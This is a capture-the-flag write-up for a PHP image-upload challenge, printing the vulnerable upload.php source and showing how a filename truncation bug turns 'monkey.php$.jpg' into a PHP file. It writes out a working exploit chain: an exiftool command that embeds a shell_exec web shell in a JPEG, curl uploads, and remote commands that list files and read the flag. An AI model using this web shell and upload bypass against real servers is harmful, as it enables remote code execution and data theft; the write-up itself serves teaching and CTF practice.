3 minute read

Overview

  • 124 solves / 419 points
  • Author: j4ck4l

Description

I hate PHP, and I know you hate PHP too. So, to irritate you, here is your PHP webapp. Go play with it http://35.222.114.240:8002/chal/upload.php

Attached

php_sucks.zip

(use https://webformatter.com/php to format php code.)

This is upload.php backend file

<?php
$allowedExtensions = ['jpg', 'jpeg', 'png'];
$errorMsg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file']) && isset($_POST['name'])) {
    $userName = $_POST['name'];
    $uploadDir = 'uploaded/' . generateHashedDirectory($userName) . '/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0750, true);
    }
    $uploadedFile = $_FILES['file'];
    $fileName = $uploadedFile['name'];
    $fileTmpName = $uploadedFile['tmp_name'];
    $fileError = $uploadedFile['error'];
    $fileSize = $uploadedFile['size'];
    $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
    if (in_array($fileExt, $allowedExtensions) && $fileSize < 200000) {
        $fileName = urldecode($fileName);
        $fileInfo = finfo_open(FILEINFO_MIME_TYPE);
        $fileMimeType = finfo_file($fileInfo, $fileTmpName);
        finfo_close($fileInfo);
        $allowedMimeTypes = ['image/jpeg', 'image/jpg', 'image/png'];
        $fileName = strtok($fileName, chr(7841151584512418084));
        if (in_array($fileMimeType, $allowedMimeTypes)) {
            if ($fileError === UPLOAD_ERR_OK) {
                if (move_uploaded_file($fileTmpName, $uploadDir . $fileName)) {
                    chmod($uploadDir . $fileName, 0440);
                    echo "File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";
                } else {
                    $errorMsg = "Error moving the uploaded file.";
                }
            } else {
                $errorMsg = "File upload failed with error code: $fileError";
            }
        } else {
            $errorMsg = "Don't try to fool me, this is not a png file";
        }
    } else {
        $errorMsg = "File size should be less than 200KB, and only png, jpeg, and jpg are allowed";
    }
}
function generateHashedDirectory($userName)
{
    $randomSalt = bin2hex(random_bytes(16));
    $hashedDirectory = hash('sha256', $userName . $randomSalt);
    return $hashedDirectory;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>php_php_everywhere</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: block;
            justify-content: center;
            align-items: center;
        }
        .main_block {
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .form {
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            max-width: 400px;
            width: 100%;
            box-sizing: border-box;
        }

        label {
            display: block;
            margin-bottom: 8px;
        }

        input {
            width: 100%;
            padding: 8px;
            margin-bottom: 16px;
            box-sizing: border-box;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        button {
            background-color: #4caf50;
            color: #fff;
            padding: 10px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        button:hover {
            background-color: #45a049;
        }

        a {
            color: #1e90ff;
            text-decoration: none;
            margin-top: 10px;
            display: block;
            align-items:center
        }

        .error-message {
            color: #ff0000;
            font-weight: bold;
            margin-bottom: 10px;
            display: block;
        }
    </style>
</head>
<body>
    <div>
        <?php if(!empty($errorMsg)):?>
                <p class="error-message"><?php echo $errorMsg;?></p>   
        <?php endif;?>

    </div>
    <div class="main_block">
        <form class="form" action="" method="post" enctype="multipart/form-data">
            <label for="name">Your Name:</label>
            <input type="text" name="name" id="name" required>
            <label for="file">Choose a file:</label>
            <input type="file" name="file" id="file" accept=".jpg, .jpeg, .png" required>
            <button type="submit" name="submit">Upload</button>
        </form>
    </div>
</body>
</html>

Analyzation

This challenge allows users to upload an image. But we do not want to upload an image only, right?

After the file is uploaded, it must pass several conditions before being written to a disk:

$allowedExtensions = ['jpg', 'jpeg', 'png'];
$fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
in_array($fileExt, $allowedExtensions)

So the filename must end with .jpg, .jpeg or .png to pass this filter.

  • Check $fileSize
$fileSize = $uploadedFile['size'];
$fileSize < 200000
$fileInfo = finfo_open(FILEINFO_MIME_TYPE);
$fileMimeType = finfo_file($fileInfo, $fileTmpName);
finfo_close($fileInfo);

$allowedMimeTypes = ['image/jpeg', 'image/jpg', 'image/png'];
in_array($fileMimeType, $allowedMimeTypes)
  • Create random directory to upload file
$uploadDir = 'uploaded/' . generateHashedDirectory($userName) . '/';
  • Replace $fileName to a substring until the character 7841151584512418084.
$fileName = strtok($fileName, chr(7841151584512418084));
  • Upload file an print the file path
if (move_uploaded_file($fileTmpName, $uploadDir . $fileName)) {
    chmod($uploadDir . $fileName, 0440);
    echo "File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";
}

Vulnerable

The php script can be injected into a normal image and uploaded. The file’s content is not checked whether it contains php code.

The weird line $fileName = strtok($fileName, chr(7841151584512418084)); makes it easier to upload php code! chr(7841151584512418084) is $, so if a file named a.php$.jpg is uploaded, it will be named a.php.

Exploitation

Firstly, create an image, for example, monkey.jpg. It is a normal image.

Then inject a php code into image by exiftool

exiftool -comment='<?php echo shell_exec($_GET["c"]); ?>' monkey.jpg

Note: $_GET["c"], not $_GET['c']!

Then rename a file

mv monkey.jpg monkey.php$.jpg

Upload file

curl -X POST -i -F "file=@monkey.php$.jpg" -F "name=hello" -i http://35.222.114.240:8002/chal/upload.php | grep href
File uploaded successfully. <a href='uploaded/40bb9a2089b6040bd97aa81bedf9dc759cbb64d842b14457d3ee014888d076b0/monkey.php' target='_blank'>Open File</a>

The flag is at /var/www/html/chal/REDACTED.txt, and the uploaded file is at /var/www/html/chal/uploaded/generateHashedDirectory($userName)/myname.php, so we need to travel back twice to read flag.

curl -i http://35.222.114.240:8002/chal/uploaded/40bb9a2089b6040bd97aa81bedf9dc759cbb64d842b14457d3ee014888d076b0/monkey.php?c=cd+../../\;+ls+-la --output output.txt

There it is

drwxr-x--- 1 root     ctf-player    4096 Dec 16 10:49 .
drwxrwxrwx 1 www-data www-data      4096 Dec 17 21:29 ..
-rwxr-x--- 1 root     ctf-player      69 Dec 16 10:36 s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
-rwxr-x--- 1 root     ctf-player    3939 Dec 16 10:36 upload.php
drwxrwxrwx 1 root     ctf-player 3551232 Dec 22 15:42 uploaded

Let’s get the flag

curl -i http://35.222.114.240:8002/chal/uploaded/40bb9a2089b6040bd97aa81bedf9dc759cbb64d842b14457d3ee014888d076b0/monkey.php?c=cd+../../\;+cat+s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt

The flag is

flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}